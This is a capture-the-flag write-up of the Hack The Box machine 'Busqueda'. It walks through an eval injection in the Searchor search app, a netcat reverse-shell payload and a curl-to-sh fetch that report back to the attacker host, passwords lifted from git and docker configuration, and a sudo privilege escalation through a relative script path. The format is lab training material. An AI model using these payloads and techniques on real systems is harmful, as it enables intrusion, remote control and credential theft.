As usual, a nice and simple BOX with two relatively simple exploits even for beginners. Let's go.
The nmap scan:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 15:08 EDTNmap scan report for 10.10.11.208Host is up (0.15s latency).Not shown: 998 closed tcp ports (conn-refused)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)80/tcp open http Apache httpd 2.4.52|_http-title: Did not follow redirect to http://searcher.htb/|_http-server-header: Apache/2.4.52 (Ubuntu)Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 45.86 seconds
port 80 responds to the "searcher.htb" domain. Put it in the /etc/hosts file.
It seems to be a search engine collector.
Wappalyzer reports python (3.10.6) and flask (2.1.2) technology.
The portal is based on version 2.4.0 of an open-source project called Searchor with the repository on git
Searching for exploits I found this:
Intercepting the calls using BurpSuite, I retrieve the request:
POST /search HTTP/1.1Host: searcher.htbContent-Length: 24Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://searcher.htbContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://searcher.htb/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: closeengine=Amazon&query=test
Let's try to investigate the code in the repository, crossing the information of the eval reported in the vulnerability and the request towards the /search routing. Download the 2.4.0 version of the source code (https://github.com/ArjunSharda/Searchor/releases/tag/v2.4.0).
Search the POST method...
def search(engine, query, open, copy): try: url = eval( f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})" ) click.echo(url) searchor.history.update(engine, query, url) if open: click.echo("opening browser...") if copy: click.echo("link copied to clipboard") except AttributeError: print("engine not recognized")
...and the Engine class:
class Engine(Enum): Accuweather = "https://www.accuweather.com/en/search-locations?query={query}" AlternativeTo = "https://alternativeto.net/browse/search/?q={query}" Amazon = "https://www.amazon.com/s?k={query}" AmazonWebServices = "https://aws.amazon.com/search/?searchQuery={query}" AOL = "https://search.aol.com/aol/search?q={query}" Apple = "https://www.apple.com/search/{query}"[...]
Apparently, you can run some python code, it will be easier using the last parameter (open). Sniffing the request setting the "Auto redirect" check with BurpSuite...
POST /search HTTP/1.1Host: searcher.htbContent-Length: 39Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://searcher.htbContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://searcher.htb/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: closeengine=Amazon&query=test&auto_redirect=
It seems that the backend code only checks for the presence of the parameter, so I can't take advantage of the "auto_redirect" parameter, I'll have to use the "query" parameter. The purpose is to pass a value such that a command is executed in addition to the original one. Starting from the construction of the original string, then
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
we have to close the string at the point of the query parameter. Just pass the value as the query value
test')#
This will terminate the string with the single quote, close the search command with the closing parenthesis, and comment out everything that follows.
Since the search of the engine class accepts the remaining parameters with default values, there will be no problems, as the search method in this case will be launched specifying only the first parameter.
def search(self, query, open_web=False, copy_url=False, additional_queries: dict = None): url = self.value.format(query=quote(query, safe="")) if additional_queries: url += ("?" if "?" not in self.value.split("/")[-1] else "&") + "&".join( query + "=" + quote(query_val) for query, query_val in additional_queries.items() ) if open_web is True: open_new_tab(url) if copy_url is True: pyperclip.copy(url) return url
But now I have to try to inject the code I want to execute, but failing to concatenate another string, I take advantage of a trick that allows me to execute some code through the use of the format of a string. The output of the search command of the Engine class still returns a string, on which I can perform a format. Since there are no variable markers, the format will have no effect, but it will still allow me to execute some code. As usual, to test, I'll run a curl to my listening machine to see if the injection was successful. The query parameter will then look something like this:
test').format(__import__('os').popen('curl%20http://10.10.14.151').read())#
By replacing the parameter on the BurpSuite and launching the request, the surprise is not long in coming.
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]└─$ php -S 10.10.14.151:80[Sun Apr 30 17:34:23 2023] PHP 8.2.4 Development Server (http://10.10.14.151:80) started[Sun Apr 30 18:00:30 2023] 10.10.11.208:38212 Accepted[Sun Apr 30 18:00:30 2023] 10.10.11.208:38212 [404]: GET / - No such file or directory[Sun Apr 30 18:00:30 2023] 10.10.11.208:38212 Closing
Perfect, it works, let's convert curl to a reverse shell and activate our listener.
test').format(__import__('os').popen('rm%20-f%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%2010.10.14.151%204444%20>/tmp/f').read())#
The BurpSuite will do the rest!
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]└─$ nc -lvp 4444listening on [any] 4444 ...connect to [10.10.14.151] from searcher.htb [10.10.11.208] 37746/bin/sh: 0: can't access tty; job control turned off$ whoamisvc
Navigate to the home folder and let's find out he's the user with the flag.
$ cat user.txt f******************************2
Spawned a tty shell to test the sudo command but this user cannot launch sudo without a password. So, launch linpeas as usual, without leaving any trace.
Download linpeas and start the php native web server.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.208 - Busqueda (lin)/attack/upld]└─$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230425-bd7331ea/linpeas.sh--2023-05-01 15:22:07-- https://github.com/carlospolop/PEASS-ng/releases/download/20230425-bd7331ea/linpeas.shResolving github.com (github.com)... 140.82.121.3Connecting to github.com (github.com)|140.82.121.3|:443... connected.HTTP request sent, awaiting response... 302 FoundLocation: https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/ba2c0404-93e2-44d5-a884-e5c0a3af4a1a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230501%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230501T192141Z&X-Amz-Expires=300&X-Amz-Signature=f1406d9bc0d84625cf1e57d0cbff85ba838dd4afbda36a5a4beee2260e83a21d&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3Dlinpeas.sh&response-content-type=application%2Foctet-stream [following]--2023-05-01 15:22:08-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/ba2c0404-93e2-44d5-a884-e5c0a3af4a1a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230501%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230501T192141Z&X-Amz-Expires=300&X-Amz-Signature=f1406d9bc0d84625cf1e57d0cbff85ba838dd4afbda36a5a4beee2260e83a21d&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3Dlinpeas.sh&response-content-type=application%2Foctet-streamResolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.HTTP request sent, awaiting response... 200 OKLength: 830030 (811K) [application/octet-stream]Saving to: ‘linpeas.sh’linpeas.sh 100%[=============================================================================================================>] 810.58K --.-KB/s in 0.1s 2023-05-01 15:22:09 (5.56 MB/s) - ‘linpeas.sh’ saved [830030/830030] ┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.208 - Busqueda (lin)/attack/upld]└─$ php -S 10.10.14.151:80[Mon May 1 15:22:12 2023] PHP 8.2.4 Development Server (http://10.10.14.151:80) started
Then start the netcat listener that will receive the scan output.
nc -lp 4445 | tee lpeasout.file
And finally, launch the attack on the remote machine.
$ curl http://10.10.14.151/linpeas.sh | sh | nc 10.10.14.151 4445curl http://10.10.14.151/linpeas.sh | sh | nc 10.10.14.151 4445 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 49 810k 49 404k 0 0 16872 0 0:00:49 0:00:24 0:00:25 16873uniq: write error: Broken pipe. . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 810k 62 504k 0 0 19232 0 0:00:43 0:00:26 0:00:17 19233cat: write error: Broken pipecat: write error: Broken pipesed: -e expression #1, char 0: no previous regular expression100 810k 100 810k 0 0 7119 0 0:01:56 0:01:56 --:--:-- 5756sh: 3672: [: not founduniq: write error: Broken pipegrep: write error: Broken pipegrep: write error: Broken pipesh: 5415: Syntax error: Unterminated quoted string
Let the scan complete (check your netcat session).
[...]══╣ PHP exec extensionsdrwxr-xr-x 2 root root 4096 Dec 22 18:44 /etc/apache2/sites-enabled drwxr-xr-x 2 root root 4096 Dec 22 18:44 /etc/apache2/sites-enabledlrwxrwxrwx 1 root root 35 Dec 1 18:45 /etc/apache2/sites-enabled/000-default.conf -> ../sites-available/000-default.conf<VirtualHost *:80> ProxyPreserveHost On ServerName searcher.htb ServerAdmin [email protected] ProxyPass / http://127.0.0.1:5000/ ProxyPassReverse / http://127.0.0.1:5000/ RewriteEngine On RewriteCond %{HTTP_HOST} !^searcher.htb$ RewriteRule /.* http://searcher.htb/ [R] ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined</VirtualHost><VirtualHost *:80> ProxyPreserveHost On ServerName gitea.searcher.htb ServerAdmin [email protected] ProxyPass / http://127.0.0.1:3000/ ProxyPassReverse / http://127.0.0.1:3000/ ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined</VirtualHost>[...]-rw-rw-r-- 1 svc svc 76 Apr 3 08:58 /home/svc/.gitconfig[user] email = [email protected] name = cody[core] hooksPath = no-hooks[...]╔══════════╣ Checking if containerd(ctr) is available╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation ctr was found in /usr/bin/ctr, you may be able to escalate privileges with it ctr: failed to dial "/run/containerd/containerd.sock": connection error: desc = "transport: error while dialing: dial unix /run/containerd/containerd.sock: connect: permission denied"╔══════════╣ Checking if runc is available╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation runc was found in /usr/sbin/runc, you may be able to escalate privileges with it ╔══════════╣ Searching docker files (limit 70)╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation lrwxrwxrwx 1 root root 33 Dec 21 19:13 /etc/systemd/system/sockets.target.wants/docker.socket -> /lib/systemd/system/docker.socket -rw-r--r-- 1 root root 175 Jan 3 18:47 /usr/lib/systemd/system/docker.socket-rw-r--r-- 1 root root 477 Jun 15 2022 /usr/local/lib/node_modules/pm2/node_modules/@pm2/io/docker-compose.yml-rw-r--r-- 1 root root 0 Dec 21 19:13 /var/lib/systemd/deb-systemd-helper-enabled/sockets.target.wants/docker.socket[...]
Found an additional domain (gitea.searcher.htb), insert it on the /etc/hosts file and try to navigate.
Gitea Version: 1.18.0+rc1
Searching for some exploit, I find something (even an RCE), but be being authenticated. After some more searching, I can't find anything of interest, so, convinced that the next clue has something to do with git anyway, I search the repositories available in this BOX.
$ find / -name ".git" 2>/dev/nullfind / -name ".git" 2>/dev/null/var/www/app/.git/opt/scripts/.git
After searching the repository a bit, without much success, and not knowing exactly how to proceed, I start searching online and come across an interesting article.
$ cat .git/configcat .git/config[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true[remote "origin"] url = http://cody:[email protected]/cody/Searcher_site.git fetch = +refs/heads/*:refs/remotes/origin/*[branch "main"] remote = origin merge = refs/heads/main
It seems that I have found what I was looking for and finally can access the gitea portal. So, I can come back on one of the previous exploits that need credentials.
Unfortunately I can't even create a new repository. Anyway, I can connect via ssh using the password.
$ sudo -lsudo -l[sudo] password for svc: jh1usoih2bkjaspwe92Matching Defaults entries for svc on busqueda: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser svc may run the following commands on busqueda: (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Even though I can run it, I can't read it.
$ cat /opt/scripts/system-checkup.pycat /opt/scripts/system-checkup.pycat: /opt/scripts/system-checkup.py: Permission denied
So, try to execute.
$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *sudo /usr/bin/python3 /opt/scripts/system-checkup.py *Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2) docker-ps : List running docker containers docker-inspect : Inpect a certain docker container full-checkup : Run a full system checkup$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-pssudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 4 months ago Up 8 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp giteaf84a6b33fb5a mysql:8 "docker-entrypoint.s…" 4 months ago Up 8 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspectsudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspectUsage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkupsudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkupSomething went wrong
I'll probably have to use the docker command to elevate the privileges, but in the meantime let's collect as much information as possible about the running containers as well.
$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' 960873171e2esudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' 960873171e2e{"Id":"960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb","Created":"2023-01-06T17:26:54.457090149Z","Path":"/usr/bin/entrypoint","Args":["/bin/s6-svscan","/etc/s6"],"State":{"Status":"running","Running":true,"Paused":false,"Restarting":false,"OOMKilled":false,"Dead":false,"Pid":1828,"ExitCode":0,"Error":"","StartedAt":"2023-05-10T11:20:05.014741291Z","FinishedAt":"2023-04-04T17:03:01.71746837Z"},"Image":"sha256:6cd4959e1db11e85d89108b74db07e2a96bbb5c4eb3aa97580e65a8153ebcc78","ResolvConfPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/resolv.conf","HostnamePath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hostname","HostsPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hosts","LogPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb-json.log","Name":"/gitea","RestartCount":0,"Driver":"overlay2","Platform":"linux","MountLabel":"","ProcessLabel":"","AppArmorProfile":"docker-default","ExecIDs":null,"HostConfig":{"Binds":["/etc/timezone:/etc/timezone:ro","/etc/localtime:/etc/localtime:ro","/root/scripts/docker/gitea:/data:rw"],"ContainerIDFile":"","LogConfig":{"Type":"json-file","Config":{}},"NetworkMode":"docker_gitea","PortBindings":{"22/tcp":[{"HostIp":"127.0.0.1","HostPort":"222"}],"3000/tcp":[{"HostIp":"127.0.0.1","HostPort":"3000"}]},"RestartPolicy":{"Name":"always","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":[],"CapAdd":null,"CapDrop":null,"CgroupnsMode":"private","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"private","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":false,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":67108864,"Runtime":"runc","ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":null,"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":null,"DeviceCgroupRules":null,"DeviceRequests":null,"KernelMemory":0,"KernelMemoryTCP":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":null,"OomKillDisable":null,"PidsLimit":null,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":["/proc/asound","/proc/acpi","/proc/kcore","/proc/keys","/proc/latency_stats","/proc/timer_list","/proc/timer_stats","/proc/sched_debug","/proc/scsi","/sys/firmware"],"ReadonlyPaths":["/proc/bus","/proc/fs","/proc/irq","/proc/sys","/proc/sysrq-trigger"]},"GraphDriver":{"Data":{"LowerDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34-init/diff:/var/lib/docker/overlay2/bd9193f562680204dc7c46c300e3410c51a1617811a43c97dffc9c3ee6b6b1b8/diff:/var/lib/docker/overlay2/df299917c1b8b211d36ab079a37a210326c9118be26566b07944ceb4342d3716/diff:/var/lib/docker/overlay2/50fb3b75789bf3c16c94f888a75df2691166dd9f503abeadabbc3aa808b84371/diff:/var/lib/docker/overlay2/3668660dd8ccd90774d7f567d0b63cef20cccebe11aaa21253da056a944aab22/diff:/var/lib/docker/overlay2/a5ca101c0f3a1900d4978769b9d791980a73175498cbdd47417ac4305dabb974/diff:/var/lib/docker/overlay2/aac5470669f77f5af7ad93c63b098785f70628cf8b47ac74db039aa3900a1905/diff:/var/lib/docker/overlay2/ef2d799b8fba566ee84a45a0070a1cf197cd9b6be58f38ee2bd7394bb7ca6560/diff:/var/lib/docker/overlay2/d45da5f3ac6633ab90762d7eeac53b0b83debef94e467aebed6171acca3dbc39/diff","MergedDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/merged","UpperDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/diff","WorkDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/work"},"Name":"overlay2"},"Mounts":[{"Type":"bind","Source":"/root/scripts/docker/gitea","Destination":"/data","Mode":"rw","RW":true,"Propagation":"rprivate"},{"Type":"bind","Source":"/etc/localtime","Destination":"/etc/localtime","Mode":"ro","RW":false,"Propagation":"rprivate"},{"Type":"bind","Source":"/etc/timezone","Destination":"/etc/timezone","Mode":"ro","RW":false,"Propagation":"rprivate"}],"Config":{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"[email protected]","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}},"NetworkSettings":{"Bridge":"","SandboxID":"576957ba1f33c882828ded9fba9c24391773af2cc643a05e04a6965a95796655","HairpinMode":false,"LinkLocalIPv6Address":"","LinkLocalIPv6PrefixLen":0,"Ports":{"22/tcp":[{"HostIp":"127.0.0.1","HostPort":"222"}],"3000/tcp":[{"HostIp":"127.0.0.1","HostPort":"3000"}]},"SandboxKey":"/var/run/docker/netns/576957ba1f33","SecondaryIPAddresses":null,"SecondaryIPv6Addresses":null,"EndpointID":"","Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"IPAddress":"","IPPrefixLen":0,"IPv6Gateway":"","MacAddress":"","Networks":{"docker_gitea":{"IPAMConfig":null,"Links":null,"Aliases":["server","960873171e2e"],"NetworkID":"cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227","EndpointID":"9cf85d867982a52a948f0346fa13fbe87bd2244ef427973aa671a2a76cb92b3f","Gateway":"172.19.0.1","IPAddress":"172.19.0.2","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:13:00:02","DriverOpts":null}}}}
And the environment variables section is really cool.
[...] "Env":[ "USER_UID=115", "USER_GID=121", "GITEA__database__DB_TYPE=mysql", "GITEA__database__HOST=db:3306", "GITEA__database__NAME=gitea", "GITEA__database__USER=gitea", "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "USER=git", "GITEA_CUSTOM=/data/gitea" ],[...]
Obviously, the environment section of the second container is equally attractive.
[...] "Env":[ "MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF", "MYSQL_USER=gitea", "MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh", "MYSQL_DATABASE=gitea", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.14", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.31-1.el8", "MYSQL_SHELL_VERSION=8.0.31-1.el8" ],[...]
Passwords don't seem, in any case, to be useful. Since the script appeared to use the docker command anyway, I tried hard to exploit that, trying passing additional commands and injecting alternative commands, but without success. Then I took a look at the folder where the script is located and found a couple of interesting clues.
-bash-5.1$ ls -la /opt/scripts/total 28drwxr-xr-x 3 root root 4096 Dec 24 18:23 .drwxr-xr-x 4 root root 4096 Mar 1 10:46 ..-rwx--x--x 1 root root 586 Dec 24 21:23 check-ports.py-rwx--x--x 1 root root 857 Dec 24 21:23 full-checkup.shdrwxr-x--- 8 root root 4096 Apr 3 15:04 .git-rwx--x--x 1 root root 3346 Dec 24 21:23 install-flask.sh-rwx--x--x 1 root root 1903 Dec 24 21:23 system-checkup.py
Inside the folder is a script named after the third argument that takes the original script and there appears to be a git repository. However, I don't have permission to read the files inside, but let's try to proceed on this new path.
-bash-5.1$ git statusfatal: not a git repository (or any of the parent directories): .git-bash-5.1$ ls -la .gitls: cannot open directory '.git': Permission denied
The git repository route is to be abandoned; the script file remains.
-bash-5.1$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup[=] Docker conteainers{ "/gitea": "running"}{ "/mysql_db": "running"}[=] Docker port mappings{ "22/tcp": [ { "HostIp": "127.0.0.1", "HostPort": "222" } ], "3000/tcp": [ { "HostIp": "127.0.0.1", "HostPort": "3000" } ]}[=] Apache webhosts[+] searcher.htb is up[+] gitea.searcher.htb is up[=] PM2 processes┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐│ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤│ 0 │ app │ default │ N/A │ fork │ 1655 │ 28h │ 0 │ online │ 0% │ 31.0mb │ svc │ disabled │└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘[+] Done!
Oh oh... the command that didn't work before now seems to execute correctly, so it runs a script with that name contained in the folder you are in!
-bash-5.1$ echo -e '#!/bin/bash\ncat /root/root.txt' > full-checkup.sh && chmod +x full-checkup.sh && sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkupd24d04fb75637b25c945648390008608[+] Done!
And after a few simple tries, we have our root flag!
That's all folks, as usual, see you at the next BOX, have an excellent hacking (in legal), bye.